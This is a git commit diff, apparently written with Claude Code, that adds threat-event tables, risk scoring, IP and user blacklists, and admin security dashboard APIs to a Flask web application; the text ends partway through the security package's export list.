feat: 实现完整安全防护系统

Phase 1 - 威胁检测引擎:
- security/threat_detector.py: JNDI/SQL/XSS/路径遍历/命令注入检测
- security/constants.py: 威胁检测规则和评分常量
- 数据库表: threat_events, ip_risk_scores, user_risk_scores, ip_blacklist

Phase 2 - 风险评分与黑名单:
- security/risk_scorer.py: IP/用户风险评分引擎，支持分数衰减
- security/blacklist.py: 黑名单管理，自动封禁规则

Phase 3 - 响应策略:
- security/honeypot.py: 蜜罐响应生成器
- security/response_handler.py: 渐进式响应策略

Phase 4 - 集成:
- security/middleware.py: Flask安全中间件
- routes/admin_api/security.py: 管理后台安全仪表板API
- 36个测试用例全部通过

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

app.py

@@ -32,6 +32,7 @@ from browser_pool_worker import init_browser_worker_pool, shutdown_browser_worke
 from realtime.socketio_handlers import register_socketio_handlers
 from realtime.status_push import status_push_worker
 from routes import register_blueprints
+from security import init_security_middleware
 from services.browser_manager import init_browser_manager
 from services.checkpoints import init_checkpoint_manager
 from services.maintenance import start_cleanup_scheduler
@@ -98,6 +99,9 @@ init_logging(log_level=config.LOG_LEVEL, log_file=config.LOG_FILE)
 logger = get_logger("app")
 init_runtime(socketio=socketio, logger=logger)
 
+# 初始化安全中间件（需在其他中间件/Blueprint 之前注册）
+init_security_middleware(app)
+
 # 注册 Blueprint（路由不变）
 register_blueprints(app)
 

app_config.py

@@ -206,6 +206,10 @@ class Config:
     LOGIN_ALERT_ENABLED = os.environ.get('LOGIN_ALERT_ENABLED', 'true').lower() == 'true'
     LOGIN_ALERT_MIN_INTERVAL_SECONDS = int(os.environ.get('LOGIN_ALERT_MIN_INTERVAL_SECONDS', '3600'))
     ADMIN_REAUTH_WINDOW_SECONDS = int(os.environ.get('ADMIN_REAUTH_WINDOW_SECONDS', '600'))
+    SECURITY_ENABLED = os.environ.get('SECURITY_ENABLED', 'true').lower() == 'true'
+    SECURITY_LOG_LEVEL = os.environ.get('SECURITY_LOG_LEVEL', 'INFO')
+    HONEYPOT_ENABLED = os.environ.get('HONEYPOT_ENABLED', 'true').lower() == 'true'
+    AUTO_BAN_ENABLED = os.environ.get('AUTO_BAN_ENABLED', 'true').lower() == 'true'
 
     @classmethod
     def validate(cls):
@@ -234,6 +238,9 @@ class Config:
         if cls.LOG_LEVEL not in ['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL']:
             errors.append(f"LOG_LEVEL无效: {cls.LOG_LEVEL}")
 
+        if cls.SECURITY_LOG_LEVEL not in ['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL']:
+            errors.append(f"SECURITY_LOG_LEVEL无效: {cls.SECURITY_LOG_LEVEL}")
+
         return errors
 
     @classmethod

database.py

@@ -121,7 +121,7 @@ config = get_config()
 DB_FILE = config.DB_FILE
 
 # 数据库版本 (用于迁移管理)
-DB_VERSION = 12
+DB_VERSION = 14
 
 
 # ==================== 系统配置缓存（P1 / O-03） ====================

db/migrations.py

@@ -72,6 +72,12 @@ def migrate_database(conn, target_version: int) -> None:
     if current_version < 12:
         _migrate_to_v12(conn)
         current_version = 12
+    if current_version < 13:
+        _migrate_to_v13(conn)
+        current_version = 13
+    if current_version < 14:
+        _migrate_to_v14(conn)
+        current_version = 14
 
     if current_version != int(target_version):
         set_current_version(conn, int(target_version))
@@ -519,3 +525,117 @@ def _migrate_to_v12(conn):
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_login_ips_user ON login_ips(user_id)")
 
     conn.commit()
+
+
+def _migrate_to_v13(conn):
+    """迁移到版本13 - 安全防护：威胁检测相关表"""
+    cursor = conn.cursor()
+
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS threat_events (
+            id INTEGER PRIMARY KEY AUTOINCREMENT,
+            threat_type TEXT NOT NULL,
+            score INTEGER NOT NULL DEFAULT 0,
+            rule TEXT,
+            field_name TEXT,
+            matched TEXT,
+            value_preview TEXT,
+            ip TEXT,
+            user_id INTEGER,
+            request_method TEXT,
+            request_path TEXT,
+            user_agent TEXT,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
+        )
+        """
+    )
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_created_at ON threat_events(created_at)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_ip ON threat_events(ip)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_user_id ON threat_events(user_id)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_type ON threat_events(threat_type)")
+
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS ip_risk_scores (
+            ip TEXT PRIMARY KEY,
+            risk_score INTEGER NOT NULL DEFAULT 0,
+            last_seen TIMESTAMP,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
+        )
+        """
+    )
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_risk_scores_score ON ip_risk_scores(risk_score)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_risk_scores_updated_at ON ip_risk_scores(updated_at)")
+
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS user_risk_scores (
+            user_id INTEGER PRIMARY KEY,
+            risk_score INTEGER NOT NULL DEFAULT 0,
+            last_seen TIMESTAMP,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
+        )
+        """
+    )
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_risk_scores_score ON user_risk_scores(risk_score)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_risk_scores_updated_at ON user_risk_scores(updated_at)")
+
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS ip_blacklist (
+            ip TEXT PRIMARY KEY,
+            reason TEXT,
+            is_active INTEGER DEFAULT 1,
+            added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            expires_at TIMESTAMP
+        )
+        """
+    )
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_blacklist_active ON ip_blacklist(is_active)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_blacklist_expires ON ip_blacklist(expires_at)")
+
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS threat_signatures (
+            id INTEGER PRIMARY KEY AUTOINCREMENT,
+            name TEXT UNIQUE NOT NULL,
+            threat_type TEXT NOT NULL,
+            pattern TEXT NOT NULL,
+            pattern_type TEXT DEFAULT 'regex',
+            score INTEGER DEFAULT 0,
+            is_active INTEGER DEFAULT 1,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
+        )
+        """
+    )
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_signatures_type ON threat_signatures(threat_type)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_signatures_active ON threat_signatures(is_active)")
+
+    conn.commit()
+
+
+def _migrate_to_v14(conn):
+    """迁移到版本14 - 安全防护：用户黑名单表"""
+    cursor = conn.cursor()
+
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS user_blacklist (
+            user_id INTEGER PRIMARY KEY,
+            reason TEXT,
+            is_active INTEGER DEFAULT 1,
+            added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            expires_at TIMESTAMP
+        )
+        """
+    )
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_active ON user_blacklist(is_active)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_expires ON user_blacklist(expires_at)")
+
+    conn.commit()

db/schema.py

@@ -72,6 +72,101 @@ def ensure_schema(conn) -> None:
         """
     )
 
+    # ==================== 安全防护：威胁检测相关表 ====================
+
+    # 威胁事件日志表
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS threat_events (
+            id INTEGER PRIMARY KEY AUTOINCREMENT,
+            threat_type TEXT NOT NULL,
+            score INTEGER NOT NULL DEFAULT 0,
+            rule TEXT,
+            field_name TEXT,
+            matched TEXT,
+            value_preview TEXT,
+            ip TEXT,
+            user_id INTEGER,
+            request_method TEXT,
+            request_path TEXT,
+            user_agent TEXT,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
+        )
+        """
+    )
+
+    # IP风险评分表
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS ip_risk_scores (
+            ip TEXT PRIMARY KEY,
+            risk_score INTEGER NOT NULL DEFAULT 0,
+            last_seen TIMESTAMP,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
+        )
+        """
+    )
+
+    # 用户风险评分表
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS user_risk_scores (
+            user_id INTEGER PRIMARY KEY,
+            risk_score INTEGER NOT NULL DEFAULT 0,
+            last_seen TIMESTAMP,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
+        )
+        """
+    )
+
+    # IP黑名单表
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS ip_blacklist (
+            ip TEXT PRIMARY KEY,
+            reason TEXT,
+            is_active INTEGER DEFAULT 1,
+            added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            expires_at TIMESTAMP
+        )
+        """
+    )
+
+    # 用户黑名单表
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS user_blacklist (
+            user_id INTEGER PRIMARY KEY,
+            reason TEXT,
+            is_active INTEGER DEFAULT 1,
+            added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            expires_at TIMESTAMP,
+            FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
+        )
+        """
+    )
+
+    # 威胁特征库表
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS threat_signatures (
+            id INTEGER PRIMARY KEY AUTOINCREMENT,
+            name TEXT UNIQUE NOT NULL,
+            threat_type TEXT NOT NULL,
+            pattern TEXT NOT NULL,
+            pattern_type TEXT DEFAULT 'regex',
+            score INTEGER DEFAULT 0,
+            is_active INTEGER DEFAULT 1,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
+        )
+        """
+    )
+
     # 账号表(关联用户)
     cursor.execute(
         """
@@ -271,6 +366,26 @@ def ensure_schema(conn) -> None:
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_login_fingerprints_user ON login_fingerprints(user_id)")
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_login_ips_user ON login_ips(user_id)")
 
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_created_at ON threat_events(created_at)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_ip ON threat_events(ip)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_user_id ON threat_events(user_id)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_type ON threat_events(threat_type)")
+
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_risk_scores_score ON ip_risk_scores(risk_score)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_risk_scores_updated_at ON ip_risk_scores(updated_at)")
+
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_risk_scores_score ON user_risk_scores(risk_score)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_risk_scores_updated_at ON user_risk_scores(updated_at)")
+
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_blacklist_active ON ip_blacklist(is_active)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_blacklist_expires ON ip_blacklist(expires_at)")
+
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_active ON user_blacklist(is_active)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_expires ON user_blacklist(expires_at)")
+
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_signatures_type ON threat_signatures(threat_type)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_signatures_active ON threat_signatures(is_active)")
+
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_accounts_user_id ON accounts(user_id)")
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_accounts_username ON accounts(username)")
 

db/security.py

@@ -2,10 +2,12 @@
 # -*- coding: utf-8 -*-
 from __future__ import annotations
 
+from datetime import timedelta
+from typing import Any, Optional
 from typing import Dict
 
 import db_pool
-from db.utils import get_cst_now_str
+from db.utils import get_cst_now, get_cst_now_str
 
 
 def record_login_context(user_id: int, ip_address: str, user_agent: str) -> Dict[str, bool]:
@@ -74,3 +76,217 @@ def record_login_context(user_id: int, ip_address: str, user_agent: str) -> Dict
         conn.commit()
 
     return {"new_device": new_device, "new_ip": new_ip}
+
+
+def get_threat_events_count(hours: int = 24) -> int:
+    """获取指定时间内的威胁事件数。"""
+    try:
+        hours_int = max(0, int(hours))
+    except Exception:
+        hours_int = 24
+
+    if hours_int <= 0:
+        return 0
+
+    start_time = (get_cst_now() - timedelta(hours=hours_int)).strftime("%Y-%m-%d %H:%M:%S")
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute("SELECT COUNT(*) AS cnt FROM threat_events WHERE created_at >= ?", (start_time,))
+        row = cursor.fetchone()
+        try:
+            return int(row["cnt"] if row else 0)
+        except Exception:
+            return 0
+
+
+def _build_threat_events_where_clause(filters: Optional[dict]) -> tuple[str, list[Any]]:
+    clauses: list[str] = []
+    params: list[Any] = []
+
+    if not isinstance(filters, dict):
+        return "", []
+
+    event_type = filters.get("event_type") or filters.get("threat_type")
+    if event_type:
+        raw = str(event_type).strip()
+        types = [t.strip()[:64] for t in raw.split(",") if t.strip()]
+        if len(types) == 1:
+            clauses.append("threat_type = ?")
+            params.append(types[0])
+        elif types:
+            placeholders = ", ".join(["?"] * len(types))
+            clauses.append(f"threat_type IN ({placeholders})")
+            params.extend(types)
+
+    severity = filters.get("severity")
+    if severity is not None and str(severity).strip():
+        sev = str(severity).strip().lower()
+        if "-" in sev:
+            parts = [p.strip() for p in sev.split("-", 1)]
+            try:
+                min_score = int(parts[0])
+                max_score = int(parts[1])
+                clauses.append("score >= ? AND score <= ?")
+                params.extend([min_score, max_score])
+            except Exception:
+                pass
+        elif sev.isdigit():
+            clauses.append("score >= ?")
+            params.append(int(sev))
+        elif sev in {"high", "critical"}:
+            clauses.append("score >= ?")
+            params.append(80)
+        elif sev in {"medium", "med"}:
+            clauses.append("score >= ? AND score < ?")
+            params.extend([50, 80])
+        elif sev in {"low", "info"}:
+            clauses.append("score < ?")
+            params.append(50)
+
+    ip = filters.get("ip")
+    if ip is not None and str(ip).strip():
+        ip_text = str(ip).strip()[:64]
+        clauses.append("ip = ?")
+        params.append(ip_text)
+
+    user_id = filters.get("user_id")
+    if user_id is not None and str(user_id).strip():
+        try:
+            user_id_int = int(user_id)
+        except Exception:
+            user_id_int = None
+        if user_id_int is not None:
+            clauses.append("user_id = ?")
+            params.append(user_id_int)
+
+    if not clauses:
+        return "", []
+    return " WHERE " + " AND ".join(clauses), params
+
+
+def get_threat_events_list(page: int, per_page: int, filters: Optional[dict] = None) -> dict:
+    """分页获取威胁事件。"""
+    try:
+        page_i = max(1, int(page))
+    except Exception:
+        page_i = 1
+    try:
+        per_page_i = int(per_page)
+    except Exception:
+        per_page_i = 20
+    per_page_i = max(1, min(200, per_page_i))
+
+    where_sql, params = _build_threat_events_where_clause(filters)
+    offset = (page_i - 1) * per_page_i
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute(f"SELECT COUNT(*) AS cnt FROM threat_events{where_sql}", tuple(params))
+        row = cursor.fetchone()
+        total = int(row["cnt"]) if row else 0
+
+        cursor.execute(
+            f"""
+            SELECT
+                id,
+                threat_type,
+                score,
+                rule,
+                field_name,
+                matched,
+                value_preview,
+                ip,
+                user_id,
+                request_method,
+                request_path,
+                user_agent,
+                created_at
+            FROM threat_events
+            {where_sql}
+            ORDER BY created_at DESC, id DESC
+            LIMIT ? OFFSET ?
+            """,
+            tuple(params + [per_page_i, offset]),
+        )
+        items = [dict(r) for r in cursor.fetchall()]
+
+    return {"page": page_i, "per_page": per_page_i, "total": total, "items": items, "filters": filters or {}}
+
+
+def get_ip_threat_history(ip: str, limit: int = 50) -> list[dict]:
+    """获取IP的威胁历史（最近limit条）。"""
+    ip_text = str(ip or "").strip()[:64]
+    if not ip_text:
+        return []
+    try:
+        limit_i = max(1, min(200, int(limit)))
+    except Exception:
+        limit_i = 50
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute(
+            """
+            SELECT
+                id,
+                threat_type,
+                score,
+                rule,
+                field_name,
+                matched,
+                value_preview,
+                ip,
+                user_id,
+                request_method,
+                request_path,
+                user_agent,
+                created_at
+            FROM threat_events
+            WHERE ip = ?
+            ORDER BY created_at DESC, id DESC
+            LIMIT ?
+            """,
+            (ip_text, limit_i),
+        )
+        return [dict(r) for r in cursor.fetchall()]
+
+
+def get_user_threat_history(user_id: int, limit: int = 50) -> list[dict]:
+    """获取用户的威胁历史（最近limit条）。"""
+    if user_id is None:
+        return []
+    try:
+        user_id_int = int(user_id)
+    except Exception:
+        return []
+    try:
+        limit_i = max(1, min(200, int(limit)))
+    except Exception:
+        limit_i = 50
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute(
+            """
+            SELECT
+                id,
+                threat_type,
+                score,
+                rule,
+                field_name,
+                matched,
+                value_preview,
+                ip,
+                user_id,
+                request_method,
+                request_path,
+                user_agent,
+                created_at
+            FROM threat_events
+            WHERE user_id = ?
+            ORDER BY created_at DESC, id DESC
+            LIMIT ?
+            """,
+            (user_id_int, limit_i),
+        )
+        return [dict(r) for r in cursor.fetchall()]

routes/__init__.py

@@ -5,6 +5,7 @@ from __future__ import annotations
 
 def register_blueprints(app) -> None:
     from routes.admin_api import admin_api_bp
+    from routes.admin_api import security_bp as admin_security_bp
     from routes.api_accounts import api_accounts_bp
     from routes.api_auth import api_auth_bp
     from routes.api_schedules import api_schedules_bp
@@ -21,3 +22,6 @@ def register_blueprints(app) -> None:
     app.register_blueprint(api_screenshots_bp)
     app.register_blueprint(api_schedules_bp)
     app.register_blueprint(admin_api_bp)
+    # Security admin APIs (support both /api/admin/* and /yuyx/api/admin/*)
+    app.register_blueprint(admin_security_bp)
+    app.register_blueprint(admin_security_bp, url_prefix="/yuyx", name="admin_security_yuyx")

routes/admin_api/__init__.py

@@ -9,3 +9,6 @@ admin_api_bp = Blueprint("admin_api", __name__, url_prefix="/yuyx/api")
 # Import side effects: register routes on blueprint
 from routes.admin_api import core as _core  # noqa: F401
 from routes.admin_api import update as _update  # noqa: F401
+
+# Export security blueprint for app registration
+from routes.admin_api.security import security_bp  # noqa: F401

routes/admin_api/security.py

@@ -0,0 +1,334 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+from typing import Any
+
+from flask import Blueprint, jsonify, request
+
+import db_pool
+from db import security as security_db
+from routes.decorators import admin_required
+from security import BlacklistManager, RiskScorer
+
+security_bp = Blueprint("admin_security", __name__)
+blacklist = BlacklistManager()
+scorer = RiskScorer(blacklist_manager=blacklist)
+
+
+def _truncate(value: Any, max_len: int = 200) -> str:
+    text = str(value or "")
+    if max_len <= 0:
+        return ""
+    if len(text) <= max_len:
+        return text
+    return text[: max(0, max_len - 3)] + "..."
+
+
+def _parse_int_arg(name: str, default: int, *, min_value: int | None = None, max_value: int | None = None) -> int:
+    raw = request.args.get(name, None)
+    if raw is None or str(raw).strip() == "":
+        value = int(default)
+    else:
+        try:
+            value = int(str(raw).strip())
+        except Exception:
+            value = int(default)
+
+    if min_value is not None:
+        value = max(int(min_value), value)
+    if max_value is not None:
+        value = min(int(max_value), value)
+    return value
+
+
+def _parse_json() -> dict:
+    if request.is_json:
+        data = request.get_json(silent=True) or {}
+        return data if isinstance(data, dict) else {}
+    # 兼容 form-data
+    try:
+        return dict(request.form or {})
+    except Exception:
+        return {}
+
+
+def _parse_bool(value: Any) -> bool:
+    if isinstance(value, bool):
+        return value
+    if isinstance(value, int):
+        return value != 0
+    text = str(value or "").strip().lower()
+    return text in {"1", "true", "yes", "y", "on"}
+
+
+def _sanitize_threat_event(event: dict) -> dict:
+    return {
+        "id": event.get("id"),
+        "threat_type": event.get("threat_type") or "unknown",
+        "score": int(event.get("score") or 0),
+        "ip": _truncate(event.get("ip"), 64),
+        "user_id": event.get("user_id"),
+        "request_method": _truncate(event.get("request_method"), 16),
+        "request_path": _truncate(event.get("request_path"), 256),
+        "field_name": _truncate(event.get("field_name"), 80),
+        "rule": _truncate(event.get("rule"), 120),
+        "matched": _truncate(event.get("matched"), 120),
+        "value_preview": _truncate(event.get("value_preview"), 200),
+        "created_at": event.get("created_at"),
+    }
+
+
+def _sanitize_ban_entry(entry: dict, *, kind: str) -> dict:
+    if kind == "ip":
+        return {
+            "ip": _truncate(entry.get("ip"), 64),
+            "reason": _truncate(entry.get("reason"), 200),
+            "added_at": entry.get("added_at"),
+            "expires_at": entry.get("expires_at"),
+            "is_active": int(entry.get("is_active") or 0),
+        }
+    if kind == "user":
+        return {
+            "user_id": entry.get("user_id"),
+            "reason": _truncate(entry.get("reason"), 200),
+            "added_at": entry.get("added_at"),
+            "expires_at": entry.get("expires_at"),
+            "is_active": int(entry.get("is_active") or 0),
+        }
+    return {}
+
+
+@security_bp.route("/api/admin/security/dashboard", methods=["GET"])
+@admin_required
+def get_security_dashboard():
+    """
+    获取安全仪表板数据
+    返回:
+    - 最近24小时威胁事件数
+    - 当前封禁IP数
+    - 当前封禁用户数
+    - 最近10条威胁事件
+    """
+    try:
+        threat_24h = security_db.get_threat_events_count(hours=24)
+    except Exception:
+        threat_24h = 0
+
+    try:
+        banned_ips = blacklist.get_banned_ips()
+    except Exception:
+        banned_ips = []
+
+    try:
+        banned_users = blacklist.get_banned_users()
+    except Exception:
+        banned_users = []
+
+    try:
+        recent = security_db.get_threat_events_list(page=1, per_page=10, filters={}).get("items", [])
+        recent_items = [_sanitize_threat_event(e) for e in recent if isinstance(e, dict)]
+    except Exception:
+        recent_items = []
+
+    return jsonify(
+        {
+            "threat_events_24h": int(threat_24h or 0),
+            "banned_ip_count": len(banned_ips),
+            "banned_user_count": len(banned_users),
+            "recent_threat_events": recent_items,
+        }
+    )
+
+
+@security_bp.route("/api/admin/security/threats", methods=["GET"])
+@admin_required
+def get_threat_events():
+    """
+    获取威胁事件列表（分页）
+    参数: page, per_page, severity, event_type
+    """
+    page = _parse_int_arg("page", 1, min_value=1, max_value=100000)
+    per_page = _parse_int_arg("per_page", 20, min_value=1, max_value=200)
+    severity = (request.args.get("severity") or "").strip()
+    event_type = (request.args.get("event_type") or "").strip()
+
+    filters: dict[str, Any] = {}
+    if severity:
+        filters["severity"] = severity
+    if event_type:
+        filters["event_type"] = event_type
+
+    data = security_db.get_threat_events_list(page, per_page, filters)
+    items = data.get("items") or []
+    data["items"] = [_sanitize_threat_event(e) for e in items if isinstance(e, dict)]
+    return jsonify(data)
+
+
+@security_bp.route("/api/admin/security/banned-ips", methods=["GET"])
+@admin_required
+def get_banned_ips():
+    """获取封禁IP列表"""
+    items = blacklist.get_banned_ips()
+    return jsonify({"count": len(items), "items": [_sanitize_ban_entry(x, kind="ip") for x in items]})
+
+
+@security_bp.route("/api/admin/security/banned-users", methods=["GET"])
+@admin_required
+def get_banned_users():
+    """获取封禁用户列表"""
+    items = blacklist.get_banned_users()
+    return jsonify({"count": len(items), "items": [_sanitize_ban_entry(x, kind="user") for x in items]})
+
+
+@security_bp.route("/api/admin/security/ban-ip", methods=["POST"])
+@admin_required
+def ban_ip():
+    """
+    手动封禁IP
+    参数: ip, reason, duration_hours(可选), permanent(可选)
+    """
+    data = _parse_json()
+    ip = str(data.get("ip") or "").strip()
+    reason = str(data.get("reason") or "").strip()
+    duration_hours_raw = data.get("duration_hours", 24)
+    permanent = _parse_bool(data.get("permanent", False))
+
+    if not ip:
+        return jsonify({"error": "ip不能为空"}), 400
+    if not reason:
+        return jsonify({"error": "reason不能为空"}), 400
+
+    try:
+        duration_hours = max(1, int(duration_hours_raw))
+    except Exception:
+        duration_hours = 24
+
+    ok = blacklist.ban_ip(ip, reason, duration_hours=duration_hours, permanent=permanent)
+    if not ok:
+        return jsonify({"error": "封禁失败"}), 400
+    return jsonify({"success": True})
+
+
+@security_bp.route("/api/admin/security/unban-ip", methods=["POST"])
+@admin_required
+def unban_ip():
+    """解除IP封禁"""
+    data = _parse_json()
+    ip = str(data.get("ip") or "").strip()
+    if not ip:
+        return jsonify({"error": "ip不能为空"}), 400
+
+    ok = blacklist.unban_ip(ip)
+    if not ok:
+        return jsonify({"error": "未找到封禁记录"}), 404
+    return jsonify({"success": True})
+
+
+@security_bp.route("/api/admin/security/ban-user", methods=["POST"])
+@admin_required
+def ban_user():
+    """手动封禁用户"""
+    data = _parse_json()
+    user_id_raw = data.get("user_id")
+    reason = str(data.get("reason") or "").strip()
+    duration_hours_raw = data.get("duration_hours", 24)
+    permanent = _parse_bool(data.get("permanent", False))
+
+    try:
+        user_id = int(user_id_raw)
+    except Exception:
+        user_id = None
+
+    if user_id is None:
+        return jsonify({"error": "user_id不能为空"}), 400
+    if not reason:
+        return jsonify({"error": "reason不能为空"}), 400
+
+    try:
+        duration_hours = max(1, int(duration_hours_raw))
+    except Exception:
+        duration_hours = 24
+
+    ok = blacklist._ban_user_internal(user_id, reason=reason, duration_hours=duration_hours, permanent=permanent)
+    if not ok:
+        return jsonify({"error": "封禁失败"}), 400
+    return jsonify({"success": True})
+
+
+@security_bp.route("/api/admin/security/unban-user", methods=["POST"])
+@admin_required
+def unban_user():
+    """解除用户封禁"""
+    data = _parse_json()
+    user_id_raw = data.get("user_id")
+    try:
+        user_id = int(user_id_raw)
+    except Exception:
+        user_id = None
+
+    if user_id is None:
+        return jsonify({"error": "user_id不能为空"}), 400
+
+    ok = blacklist.unban_user(user_id)
+    if not ok:
+        return jsonify({"error": "未找到封禁记录"}), 404
+    return jsonify({"success": True})
+
+
+@security_bp.route("/api/admin/security/ip-risk/<ip>", methods=["GET"])
+@admin_required
+def get_ip_risk(ip):
+    """获取指定IP的风险评分和历史事件"""
+    ip_text = str(ip or "").strip()
+    if not ip_text:
+        return jsonify({"error": "ip不能为空"}), 400
+
+    history = security_db.get_ip_threat_history(ip_text)
+    return jsonify(
+        {
+            "ip": _truncate(ip_text, 64),
+            "risk_score": int(scorer.get_ip_score(ip_text) or 0),
+            "is_banned": bool(blacklist.is_ip_banned(ip_text)),
+            "threat_history": [_sanitize_threat_event(e) for e in history if isinstance(e, dict)],
+        }
+    )
+
+
+@security_bp.route("/api/admin/security/user-risk/<int:user_id>", methods=["GET"])
+@admin_required
+def get_user_risk(user_id):
+    """获取指定用户的风险评分和历史事件"""
+    history = security_db.get_user_threat_history(user_id)
+    return jsonify(
+        {
+            "user_id": int(user_id),
+            "risk_score": int(scorer.get_user_score(user_id) or 0),
+            "is_banned": bool(blacklist.is_user_banned(user_id)),
+            "threat_history": [_sanitize_threat_event(e) for e in history if isinstance(e, dict)],
+        }
+    )
+
+
+@security_bp.route("/api/admin/security/cleanup", methods=["POST"])
+@admin_required
+def cleanup_expired():
+    """清理过期的封禁记录和衰减风险分"""
+    try:
+        blacklist.cleanup_expired()
+    except Exception:
+        pass
+    try:
+        scorer.decay_scores()
+    except Exception:
+        pass
+
+    # 可选：返回当前连接池统计信息，便于排查后台运行状态
+    pool_stats = None
+    try:
+        pool_stats = db_pool.get_pool_stats()
+    except Exception:
+        pool_stats = None
+
+    return jsonify({"success": True, "pool_stats": pool_stats})
+

routes/decorators.py

@@ -14,11 +14,20 @@ def admin_required(f):
 
     @wraps(f)
     def decorated_function(*args, **kwargs):
+        try:
             logger = get_logger()
+        except Exception:
+            import logging
+
+            logger = logging.getLogger("app")
         logger.debug(f"[admin_required] 检查会话，admin_id存在: {'admin_id' in session}")
         if "admin_id" not in session:
             logger.warning(f"[admin_required] 拒绝访问 {request.path} - session中无admin_id")
-            is_api = request.blueprint == "admin_api" or request.path.startswith("/yuyx/api")
+            is_api = (
+                request.blueprint in {"admin_api", "admin_security", "admin_security_yuyx"}
+                or request.path.startswith("/yuyx/api")
+                or request.path.startswith("/api/admin")
+            )
             if is_api:
                 return jsonify({"error": "需要管理员权限"}), 403
             return redirect(url_for("pages.admin_login_page"))

security/__init__.py

@@ -0,0 +1,22 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+from security.blacklist import BlacklistManager
+from security.honeypot import HoneypotResponder
+from security.middleware import init_security_middleware
+from security.response_handler import ResponseAction, ResponseHandler, ResponseStrategy
+from security.risk_scorer import RiskScorer
+from security.threat_detector import ThreatDetector, ThreatResult
+
+__all__ = [
+    "BlacklistManager",
+    "HoneypotResponder",
+    "init_security_middleware",
+    "ResponseAction",
+    "ResponseHandler",
+    "ResponseStrategy",
+    "RiskScorer",
+    "ThreatDetector",
